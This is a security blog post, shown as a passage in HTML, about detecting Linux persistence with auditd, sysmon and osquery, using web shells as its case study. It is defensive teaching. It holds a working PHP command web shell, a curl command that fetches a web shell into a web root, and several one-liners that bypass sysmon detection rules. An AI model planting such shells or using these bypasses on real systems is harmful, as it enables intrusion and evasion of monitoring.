<!DOCTYPE html>
<html lang="en">

  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <title>Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells</title>
  <meta name="description" content="An introduction to monitoring and logging in linux to look for persistence.">
  <meta property="og:description" content="An introduction to monitoring and logging in linux to look for persistence." />
  <!-- Twitter Metadata -->
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:title" content="Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells">
  <meta name="twitter:site" content="@__pberba__">
  <meta name="twitter:description" content="An introduction to monitoring and logging in linux to look for persistence.">
  
    <meta property="og:image" content="https://cdn-images-1.medium.com/max/800/1*Krk3Q13ICFXgX6WDZsttbw.jpeg" />
    <meta property="twitter:image" content="https://cdn-images-1.medium.com/max/800/1*Krk3Q13ICFXgX6WDZsttbw.jpeg" />
  
  <link href="https://fonts.googleapis.com/css?family=Bitter&display=swap" rel="stylesheet">  
  <link href="https://fonts.googleapis.com/css?family=Fira+Code|Fira+Sans|Fira+Sans+Condensed&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="/assets/main.css">
  <link rel="canonical" href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">
  <link rel="alternate" type="application/rss+xml" title="pepe berba" href="/feed.xml">
  <link rel="icon" type="image/png" href="/assets/favicon.ico">
  <script async defer src="https://buttons.github.io/buttons.js"></script>
  
  <script type="text/javascript" async
    src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.2/MathJax.js?config=TeX-MML-AM_CHTML">
</script>
   

  
  <script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-167859587-1', 'auto');
  ga('send', 'pageview');

</script>
  

  

  <!-- Begin Jekyll SEO tag v2.7.1 -->
<title>Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells | pepe berba</title>
<meta name="generator" content="Jekyll v3.9.0" />
<meta property="og:title" content="Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells" />
<meta name="author" content="Pepe Berba" />
<meta property="og:locale" content="en_US" />
<meta name="description" content="An introduction to monitoring and logging in linux to look for persistence. With examples how to setup and detect web shell backdoors." />
<meta property="og:description" content="An introduction to monitoring and logging in linux to look for persistence. With examples how to setup and detect web shell backdoors." />
<link rel="canonical" href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/" />
<meta property="og:url" content="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/" />
<meta property="og:site_name" content="pepe berba" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-11-22T00:00:00+00:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells" />
<script type="application/ld+json">
{"description":"An introduction to monitoring and logging in linux to look for persistence. With examples how to setup and detect web shell backdoors.","headline":"Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells","url":"https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/","@type":"BlogPosting","dateModified":"2021-11-22T00:00:00+00:00","datePublished":"2021-11-22T00:00:00+00:00","mainEntityOfPage":{"@type":"WebPage","@id":"https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/"},"author":{"@type":"Person","name":"Pepe Berba"},"@context":"https://schema.org"}</script>
<!-- End Jekyll SEO tag -->

</head>


  <body>

    <header class="site-header" role="banner">
  
  <link href="https://fonts.googleapis.com/css2?family=Lora:wght@700&family=Roboto:ital,wght@0,400;0,500;1,400;1,500&display=swap" rel="stylesheet">

  <div class="wrapper">
    <a class="site-title" href="/">pepe berba</a>
  
      <nav class="site-nav">
        <input type="checkbox" id="nav-trigger" class="nav-trigger" />
        <label for="nav-trigger">
          <span class="menu-icon">
            <svg viewBox="0 0 18 15" width="18px" height="15px">
              <path fill="#424242" d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0 h15.031C17.335,0,18,0.665,18,1.484L18,1.484z"/>
              <path fill="#424242" d="M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0c0-0.82,0.665-1.484,1.484-1.484 h15.031C17.335,6.031,18,6.696,18,7.516L18,7.516z"/>
              <path fill="#424242" d="M18,13.516C18,14.335,17.335,15,16.516,15H1.484C0.665,15,0,14.335,0,13.516l0,0 c0-0.82,0.665-1.484,1.484-1.484h15.031C17.335,12.031,18,12.696,18,13.516L18,13.516z"/>
            </svg>
          </span>
        </label>

        <div class="trigger">
            <a class="page-link" href="/stats/">stats</a>
            <a class="page-link" href="/security/">security</a>
            <a class="page-link" href="/crypto/">crypto</a>
            <a class="page-link" href="/about">about</a>
            <a class="page-link" href="/posts">archive</a>
        </div>
      </nav>
  </div>
</header>



    <div>
    
      <aside id="toc_sidebar" class="sidebar_toc">
        <nav class="toc">
          <header><h4 class="nav__title"><i class="fa fa-file-text"></i> </h4></header>
          <ul class="toc__menu"><li><a href="#overview-of-blog-series">Overview of blog series</a></li><li><a href="#introduction-to-persistence">Introduction to persistence</a></li><li><a href="#0-linux-logging-andauditing">0 Linux Logging and Auditing</a><ul><li><a href="#01-file-integrity-monitoring">0.1 File Integrity Monitoring </a></li><li><a href="#02-auditd-andsysmon">0.2 Auditd and Sysmon</a></li><li><a href="#03-osquery">0.3 osquery</a></li></ul></li><li><a href="#1-server-software-component-webshell">1 Server Software Component: Web Shell</a><ul><li><a href="#11-introduction-to-webshells">1.1 Introduction to web shells</a></li><li><a href="#12-installing-your-own-webshells">1.2 Installing your own web shells</a></li><li><a href="#13-detection-creation-or-modification-of-phpfiles">1.3 Detection: Creation or modification of php files</a></li><li><a href="#14-detection-looking-for-command-execution-for-www-data-usingauditd">1.4 Detection: Looking for command execution for www-data using auditd</a></li><li><a href="#15-detection-looking-for-command-execution-for-www-data-usingsysmon">1.5 Detection: Looking for command execution for www-data using sysmon</a></li><li><a href="#16-hunting-for-web-shells-using-osquery">1.6 Hunting for web shells using osquery</a></li></ul></li><li><a href="#whats-next">What’s next</a></li><li><a href="#appendix">Appendix</a><ul><li><a href="#a00-setup-nginx-andphp">A00 Setup nginx and php</a></li><li><a href="#a01-setup-sysmon-forlinux">A01 Setup sysmon for linux</a></li><li><a href="#a02-setup-auditbeats-and-auditd-forlinux">A02 Setup auditbeats and auditd for linux </a></li></ul></li></ul>
        </nav>
        </br></br></br>
      </aside>

    

    <main class="page-content" aria-label="Content">
      <div class="wrapper">
        <article class="post" itemscope itemtype="http://schema.org/BlogPosting">

  <header class="post-header">

     <h3> <a href="/posts"> posts </a> > <a href="/security">security</a></h3>

    <h1 class="post-title" itemprop="name headline">Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells</h1>

    

    <p class="post-meta">

      <time datetime="2021-11-22T00:00:00+00:00" itemprop="datePublished">
        
        Nov 22, 2021
      </time>
      
        • <span itemprop="author" itemscope itemtype="http://schema.org/Person"><span itemprop="name">Pepe Berba</span></span>
      

      &nbsp 


<a href="https://twitter.com/__pberba__"><i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/in/pberba"><i class="fab fa-fw fa-linkedin" aria-hidden="true"></i></a>
<a href="https://github.com/pberba"><i class="fab fa-fw fa-github" aria-hidden="true"></i></a>
<a href="https://medium.com/@pberba"><i class="fab fa-fw fa-medium" aria-hidden="true"></i> </a>
    </p> 
  </header>


  <div class="post-content" itemprop="articleBody">
    
      <img src="https://cdn-images-1.medium.com/max/800/1*Krk3Q13ICFXgX6WDZsttbw.jpeg" alt="">
      </br>
    

    
      <aside id="sidebar_toc_body" class="sidebar_toc_body">
        <nav class="toc">
          <header><h2 class="nav__title"><i class="fa fa-file-text"></i> Table of Contents </h2></header>
          <ul class="toc__menu"><li><a href="#overview-of-blog-series">Overview of blog series</a></li><li><a href="#introduction-to-persistence">Introduction to persistence</a></li><li><a href="#0-linux-logging-andauditing">0 Linux Logging and Auditing</a><ul><li><a href="#01-file-integrity-monitoring">0.1 File Integrity Monitoring </a></li><li><a href="#02-auditd-andsysmon">0.2 Auditd and Sysmon</a></li><li><a href="#03-osquery">0.3 osquery</a></li></ul></li><li><a href="#1-server-software-component-webshell">1 Server Software Component: Web Shell</a><ul><li><a href="#11-introduction-to-webshells">1.1 Introduction to web shells</a></li><li><a href="#12-installing-your-own-webshells">1.2 Installing your own web shells</a></li><li><a href="#13-detection-creation-or-modification-of-phpfiles">1.3 Detection: Creation or modification of php files</a></li><li><a href="#14-detection-looking-for-command-execution-for-www-data-usingauditd">1.4 Detection: Looking for command execution for www-data using auditd</a></li><li><a href="#15-detection-looking-for-command-execution-for-www-data-usingsysmon">1.5 Detection: Looking for command execution for www-data using sysmon</a></li><li><a href="#16-hunting-for-web-shells-using-osquery">1.6 Hunting for web shells using osquery</a></li></ul></li><li><a href="#whats-next">What’s next</a></li><li><a href="#appendix">Appendix</a><ul><li><a href="#a00-setup-nginx-andphp">A00 Setup nginx and php</a></li><li><a href="#a01-setup-sysmon-forlinux">A01 Setup sysmon for linux</a></li><li><a href="#a02-setup-auditbeats-and-auditd-forlinux">A02 Setup auditbeats and auditd for linux </a></li></ul></li></ul>
        </nav>
      </aside>
    


    <p>This blog series explores methods attackers might use to maintain persistent access to a compromised linux system. To do this, we will take an “<em>offense informs defense</em>” approach by going through techniques listed in the <a href="https://attack.mitre.org/matrices/enterprise/linux/">MITRE ATT&amp;CK Matrix for Linux</a>. I will try to:</p>

<ol>
  <li>Give examples of how an attacker might deploy one of these backdoors</li>
  <li>Show how a defender might monitor and detect these installations</li>
</ol>

<p>By giving concrete implementations of these persistence techniques, I hope to give defenders a better appreciation of what exactly they are trying to detect, and some clear examples of how they can test their own alerting.</p>

<h3 id="overview-of-blog-series">Overview of blog series</h3>

<p>The rest of the blog post is structured with the following:</p>

<ol>
  <li>Introduction to persistence</li>
  <li>Linux Auditing and File Integrity Monitoring</li>
  <li>How to setup and detect web shells</li>
</ol>

<p>Each persistence technique has two main parts:</p>

<ol>
  <li>How to deploy the persistence techniques</li>
  <li>How to monitor and detect persistence techniques</li>
</ol>

<p>In this blog post we will only discuss web shell as a case study for logging and monitoring. We will discuss other techniques in succeeding posts. Throughout this series we will go through the following:</p>

<ul>
  <li><a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>Create Account: Local Account</li>
      <li>Valid Accounts: Local Accounts</li>
      <li>Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
    <ul>
      <li>Create or Modify System Process: Systemd Service</li>
      <li>Scheduled Task/Job: Systemd Timers</li>
      <li>Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 4): Initialization Scripts, Shell Configuration, and others
    <ul>
      <li>Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
</ul>

<h3 id="introduction-to-persistence">Introduction to persistence</h3>

<blockquote>
  <p>Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access <a href="https://attack.mitre.org/tactics/TA0003/">[1]</a></p>
</blockquote>

<p>Attackers employ persistence techniques so that exploitation phases do not need to be repeated. Remember, exploitation is just the first step for the attacker; they still need to take additional steps to fulfill their primary objective.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*LRcrv44EIiVqZ35pnBxmZw.png" alt="" /></p>

<p>After successfully gaining access to the machine, they need to pivot through the network and find a way to access and exfiltrate the crown jewels. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*0wxC57JISeSG-smadvc1eQ.png" alt="" /></p>

<p>During these post exploitation activities, the the attacker’s connection to the machine can be severed, and to regain access, the attacker might need to repeat the exploitation step. </p>

<p>Redoing the exploitation might be difficult depending on the attacker vector:</p>

<ol>
  <li><strong>Sending an email with a malicious attachment:</strong> The victim wouldn’t open the same maldoc twice. You’d have to send another email and hope the victim will fall for it again.</li>
  <li><strong>Using leaked credentials and keys:</strong> The passwords might be reset or the keys are revoked</li>
  <li><strong>Exploiting servers with critical CVEs:</strong> The server can be patched</li>
</ol>

<p><img src="https://cdn-images-1.medium.com/max/800/1*IrrpPyzrBA9E3EBQ5ecaGg.png" alt="" /></p>

<p>Because of how difficult the exploitation can be, an attacker would want to make the most out of their initial access. To do this, they install backdoor access that reliably maintain access to the compromised machine even after reboots. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*4qWkg11a6uCfMirnUnrxeQ.png" alt="" /></p>

<p>With persistence installed, the attacker no longer need to rely on exploitation to regain access to the system. He might simply use the added account in the machine or wait for the reverse shell from a installed service.</p>

<h3 id="0-linux-logging-andauditing">0 Linux Logging and Auditing</h3>

<h4 id="01-file-integrity-monitoring">0.1 File Integrity Monitoring </h4>

<p>The configuration changes needed to setup persistence usually require the attacker to touch the machine’s disk such as creating or modifying a file. This gives us an opportunity to catch the adversaries if we are able to lookout for file creation or modification related to special files of directories. For example, if we are trying to detect installation of services, we might want look for newly added service files in <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and other related directories.</p>

<p>You can use the following:</p>
<ul>
  <li>Auditbeat’s File Integrity Monitoring: <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html">https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html</a></li>
  <li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">auditd</a></li>
  <li>Wazuh’s File Integrity Monitoring: <a href="https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html">https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html</a></li>
</ul>

<p><img src="https://cdn-images-1.medium.com/max/800/1*G9cEhmxGM0nJVRhGqxiuyw.png" alt="" /></p>

<p>For the blog posts, we will be using mainly auditd, and auditbeats jointly. For instructions how to setup auditd and auditbeats see <em>A02 in the appendix.</em></p>

<h4 id="02-auditd-andsysmon">0.2 Auditd and Sysmon</h4>

<h5 id="021-what-is-sysmon-and-auditd">0.2.1 What is sysmon and auditd?</h5>

<p>Two powerful tools to monitor the different processes in the OS are:</p>

<ul>
  <li>auditd: the defacto auditing and logging tool for Linux</li>
  <li><a href="https://github.com/Sysinternals/SysmonForLinux">sysmon</a>: previously a tool exclusively for windows, a Linux port has recently been released</li>
</ul>

<p>Each of these tools requires you to configure rules for it to generate meaningful logs and alerts. We will use the following for auditd and sysmon respectively:</p>

<ul>
  <li><a href="https://github.com/Neo23x0/auditd">https://github.com/Neo23x0/auditd</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux">https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux</a></li>
</ul>

<p>For instructions how to install sysmon refer to <em>appendix A01.</em></p>

<h5 id="022-comparison-of-sysmon-and-auditd">0.2.2 Comparison of sysmon and auditd</h5>

<p>At the time of writing this blog post, sysmon for linux has only been released for about a month now. I have no experience deploying sysmon at scale. Support for sysmon for linux is still in development for agents such as Linux Elastic Agent <a href="https://github.com/elastic/integrations/issues/1930">see issue here</a></p>

<p>I’m using <code class="language-plaintext highlighter-rouge">sysmonforlinux/buster,now 1.0.0</code></p>

<p>While doing the research for this blogpost, my comments so far are:</p>
<ul>
  <li><strong>sysmon’s rule definitions are much more flexible and expressive than auditd’s</strong></li>
  <li>Just like other rules using string matching, rules depending on user input fields such as <code class="language-plaintext highlighter-rouge">CommandLine</code> can be bypassed.</li>
  <li><strong>File integrity monitoring is a weakness for SysmonForLinux 1.0.0.</strong> In my testing, sysmon only has the event FileCreate which is triggered only when creating or overwriting of files. This means that file modification is not caught by Sysmon (such as appending to files).</li>
  <li>I’ve experienced some problems with the truncated rule title displayed in the logs.</li>
  <li>Auditd rules can filter up to the syscall level and sysmon filters based on highlevel predfined events such as <code class="language-plaintext highlighter-rouge">ProcessCreation</code>, and <code class="language-plaintext highlighter-rouge">FileCreate</code>. This means that if a particular activity that you are looking for is not mapped to a sysmon event, then you might have a hard time using sysmon to watch for it.</li>
</ul>

<p><strong>Overall, I’m very optimistic with using adopting sysmon for linux in the future to look for interesting processes and connections but would still rely on other tools for file integrity monitoring such as auditd or auditbeats.</strong></p>

<p>In windows, having only <code class="language-plaintext highlighter-rouge">FileCreate</code> is okay since you have other events specific to configuration changes, such as  <code class="language-plaintext highlighter-rouge">RegistryEvent</code> for registry keys, but in Linux since all of the configurations are essentially files, then file integrity monitoring plays a much bigger role in hunting for changes in system configurations.</p>

<p>The good thing with sysmon, is that rules for network activities and process creation is much more expressive. It’s more intuitive than trying to use auditd’s <code class="language-plaintext highlighter-rouge">a0</code>, <code class="language-plaintext highlighter-rouge">a1</code>, … for match on command line arguments.</p>

<p>We will discuss some of the findings in the next blog posts but some examples of bypasses are:</p>
<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/discovery/T1087.001_LocalAccount_Commands.xml">T1087.001_LocalAccount_Commands.xml</a> looks for commands that have <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to detect account enumeration. We can use <code class="language-plaintext highlighter-rouge">cat /etc//passwd</code> to bypass this rule</li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/defense_evasion/T1070.006_Timestomp_Touch.xml">T1070.006_Timestomp_Touch.xml</a> looks for <code class="language-plaintext highlighter-rouge">-r</code> or <code class="language-plaintext highlighter-rouge">--reference</code> in <code class="language-plaintext highlighter-rouge">touch</code> commands to look for timestamp modification. We can use <code class="language-plaintext highlighter-rouge">touch a -\r b</code> to bypass this or even <code class="language-plaintext highlighter-rouge">touch a -\-re\ference=b</code></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a> aims to monitor changes to crontab files. Using <code class="language-plaintext highlighter-rouge">echo "* *     * * *   root    touch /root/test" &gt;&gt; /etc/crontab</code> will bypass this because it does not create or overwrite a file, and in <code class="language-plaintext highlighter-rouge">Debian 10</code> using the standard <code class="language-plaintext highlighter-rouge">crontab -e</code> will not trigger this because the <code class="language-plaintext highlighter-rouge">TargetFilename</code> is <code class="language-plaintext highlighter-rouge">+/var/spool/cron/crontabs</code> and the extra <code class="language-plaintext highlighter-rouge">+</code> at the start causes the rule to fail.</li>
</ul>

<p>You can see the different architectures for auditd and sysmon here:</p>
<ul>
  <li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a> [3]</li>
  <li><a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a> [2]</li>
</ul>

<p>We see from the diagram from <code class="language-plaintext highlighter-rouge">linuxsecurity.com</code> that Sysmon works on top of eBPF which is an interface for syscalls of the linux kernel. This serves as an abstraction when we define sysmon rules, but as a consequence, this flexibility gives attackers room to bypass some of the rules.</p>

<p><img src="/assets/posts/20211122/00_sysmon_linux.png" alt="Image from &quot;Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux&quot;" /> 
<em>Image from “Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux”[2]</em></p>

<p>For example, in sysmon, we can look for a FileCreate event with a specific <code class="language-plaintext highlighter-rouge">TargetFilename</code>. This is more flexible because you can define rules based on patterns or keywords and look for files that do no exist yet. However, string matches such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code> can fail if the target name is not exactly that string.</p>

<p>Unlike in auditd, what is being watched are actions on the inodes of the files and directories. This means that there is no ambiguity on which specific files needs to be monitored. You can even look for read access to specific files. However, because it watches based on inodes, the files have to exist when the auditd service is started. This means you cannot watch files based on certain patterns like <code class="language-plaintext highlighter-rouge">*/.ssh/authorized_keys</code></p>

<h4 id="03-osquery">0.3 osquery</h4>

<p>Osquery allows us to investigate our endpoints using SQL queries. This simplifies the task of investigating and collecting evidence.</p>

<p>Moreover, when paired with management interface like <a href="https://github.com/fleetdm/fleet">fleetdm</a> allows you to take baselines of your environments and even hunt for adversaries.</p>

<p>An example from a future blog post is looking for accounts that have a password set. If you expect your engineers to always SSH via public key, then you should not see active passwords.</p>

<p>We can get this information using this query</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">password_status</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">last_change</span>
<span class="k">FROM</span> <span class="n">shadow</span> 
<span class="k">WHERE</span> <span class="n">password_status</span> <span class="o">=</span> <span class="s1">'active'</span><span class="p">;</span>
</code></pre></div></div>

<p>And get results for all your fleet something similar to this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
+-----------------+----------+-------------+
</code></pre></div></div>

<p>Now why does <code class="language-plaintext highlighter-rouge">www-data</code> have a password? Hmm…</p>

<p>Installation instructions can be found in the <a href="https://osquery.io/downloads/official/5.0.1">official docs</a></p>

<p>Once installed simply run <code class="language-plaintext highlighter-rouge">osqueryi</code> and run the SQL queries.</p>

<h3 id="1-server-software-component-webshell">1 Server Software Component: Web Shell</h3>

<h4 id="11-introduction-to-webshells">1.1 Introduction to web shells</h4>

<p><strong>MITRE</strong>: <a href="https://attack.mitre.org/techniques/T1505/003/">https://attack.mitre.org/techniques/T1505/003/</a></p>

<p>A web shell is backdoor installed in a web server by an attacker. Once installed, it becomes the initial foothold of the attacker, and if it’s never detected, then it becomes an easy persistent backdoor.</p>

<p>In our example, to install a web shell we add a bad <code class="language-plaintext highlighter-rouge">.php</code> file inside<code class="language-plaintext highlighter-rouge">/var/www/html</code> Some reasons this can happen are:</p>

<ul>
  <li>the web application has a vulnerable upload API</li>
  <li>the web application has a critical RCE vulnerability</li>
  <li>the attacker has existing access that can modify the contents of the web root folder</li>
</ul>

<p>If the attacker can upload malicious files that run as php, then he can get remote access to the machine.</p>

<p>One famous example of this is the <a href="https://republicans-oversight.house.gov/wp-content/uploads/2018/12/Equifax-Report.pdf">2017 Equifax Data Breach</a>. You can read the report, but here’s my TLDR: </p>

<blockquote>
  <p>The web server was running Apache Struts containing a critical RCE vulnerability. Attackers used this RCE to drop web shells which they used to gain access to sensitive data and exfiltrate the data. Around 30 different web shells was used in the breach.</p>
</blockquote>

<p>See the following resources:</p>

<ul>
  <li><a href="https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload">https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload</a></li>
  <li><a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></li>
</ul>

<h4 id="12-installing-your-own-webshells">1.2 Installing your own web shells</h4>

<p><em>Note: If you want to try this out you can follow the setup instructions in the appendix A00.</em></p>

<p>Assume we already have RCE, we add a file <code class="language-plaintext highlighter-rouge">phpinfo.php</code> that will contain our web shell.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /var/www/html/phpinfo.php
</code></pre></div></div>

<p>Choose any of the <a href="https://github.com/JohnTroony/php-webshells/tree/master/Collection">examples php web shells</a>. For example:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>  
<span class="nt">&lt;body&gt;</span>  
<span class="nt">&lt;form</span> <span class="na">method=</span><span class="s">"GET"</span> <span class="na">name=</span><span class="s">"&lt;?php echo basename($_SERVER['PHP_SELF']); ?&gt;"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"TEXT"</span> <span class="na">name=</span><span class="s">"cmd"</span> <span class="na">id=</span><span class="s">"cmd"</span> <span class="na">size=</span><span class="s">"80"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"SUBMIT"</span> <span class="na">value=</span><span class="s">"Execute"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;/form&gt;</span>  
<span class="nt">&lt;pre&gt;</span>  
<span class="cp">&lt;?php  
    if(isset($_GET['cmd']))  
    {  
        system($_GET['cmd']);  
    }  
?&gt;</span>  
<span class="nt">&lt;/pre&gt;</span>
</code></pre></div></div>

<p>Now anyone with access to <code class="language-plaintext highlighter-rouge">http://x.x.x.x/phpinfo.php</code> would be able to access the web shell and run arbitrary commands.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*IFtn1HJNUAwxFMR26-J-_g.png" alt="" /></p>

<p>What if you don’t have shell access? You might be able to install a web shell through an unrestricted upload. Upload your php backdoor as <code class="language-plaintext highlighter-rouge">image.png.php</code> and the backdoor might be accessible on <code class="language-plaintext highlighter-rouge">http://x.x.x.x/uploads/image.png.php</code>.</p>

<p>Another possible command that you can use is</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>

<h4 id="13-detection-creation-or-modification-of-phpfiles">1.3 Detection: Creation or modification of php files</h4>

<p><strong>Using auditbeat’s file integrity monitoring</strong></p>

<p>For some web applications, we might be able to monitor the directories of our web app in auditbeat’s file integrity monitoring.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>  
  <span class="na">paths</span><span class="pi">:</span>  
  <span class="pi">-</span> <span class="s">/bin</span>  
  <span class="pi">-</span> <span class="s">/usr/bin</span>  
  <span class="pi">-</span> <span class="s">/sbin</span>  
  <span class="pi">-</span> <span class="s">/usr/sbin</span>  
  <span class="pi">-</span> <span class="s">/etc</span>  
  <span class="pi">-</span> <span class="s">/var/www/html</span>    <span class="c1"># &lt;--- Add  </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">system</span>  
  <span class="na">datasets</span><span class="pi">:</span>  
    <span class="pi">-</span> <span class="s">package</span> <span class="c1"># Installed, updated, and removed packages</span>
</code></pre></div></div>

<p>When using _auditbeat’_s file integrity monitoring module, we see that looking at <code class="language-plaintext highlighter-rouge">event.module: file_integrity</code></p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*H8QHiqUQ2Mn1C8tbG4Wbyw.png" alt="" /></p>

<p>Our <code class="language-plaintext highlighter-rouge">vi</code> command “moved” the file. In this case, <code class="language-plaintext highlighter-rouge">moved</code> is the same as <code class="language-plaintext highlighter-rouge">updated</code> because of how <code class="language-plaintext highlighter-rouge">vi</code> works. Where it creates a temporary file <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php.swp</code>and if you want to save the file it replaces <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php</code> </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*JQcidyk6Z0SSmx4TOR_5DQ.png" alt="" /></p>

<p>An example of a command that will result in a <code class="language-plaintext highlighter-rouge">created</code> log would be if we ran</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*MhcgZ5nRksISWGl9fiapJw.png" alt="" /></p>

<p><strong>Using audit to monitor changes</strong></p>

<p>We can add the following rule to auditd </p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /var/www/html -p wa -k www_changes
</code></pre></div></div>

<p>And you can search for all write or updates to files in <code class="language-plaintext highlighter-rouge">/var/www/html</code> using the filter <code class="language-plaintext highlighter-rouge">tags: www_changes</code> or <code class="language-plaintext highlighter-rouge">key="www_changes"</code></p>

<p>The raw <em>auditd</em> logs looks like this</p>

